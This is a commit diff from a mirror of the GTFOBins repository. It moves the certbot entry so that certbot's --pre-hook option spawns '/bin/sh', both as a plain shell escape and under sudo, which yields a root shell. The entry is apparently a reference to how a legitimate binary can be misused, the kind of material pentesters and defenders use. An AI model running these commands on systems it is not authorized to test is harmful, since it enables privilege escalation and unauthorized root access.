1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 05:18:13 +02:00

Promote certbot command to shell

This commit is contained in:
Andrea Cardaci 2021-04-03 12:02:43 +02:00
parent 160e8d5dcd
commit a02e1a1194

@ -1,9 +1,11 @@
--- ---
functions: functions:
sudo: shell:
- description: A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output. - code: |
code: |
COMMAND='id'
TF=$(mktemp -d) TF=$(mktemp -d)
sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND" certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
sudo:
- code: |
TF=$(mktemp -d)
sudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
--- ---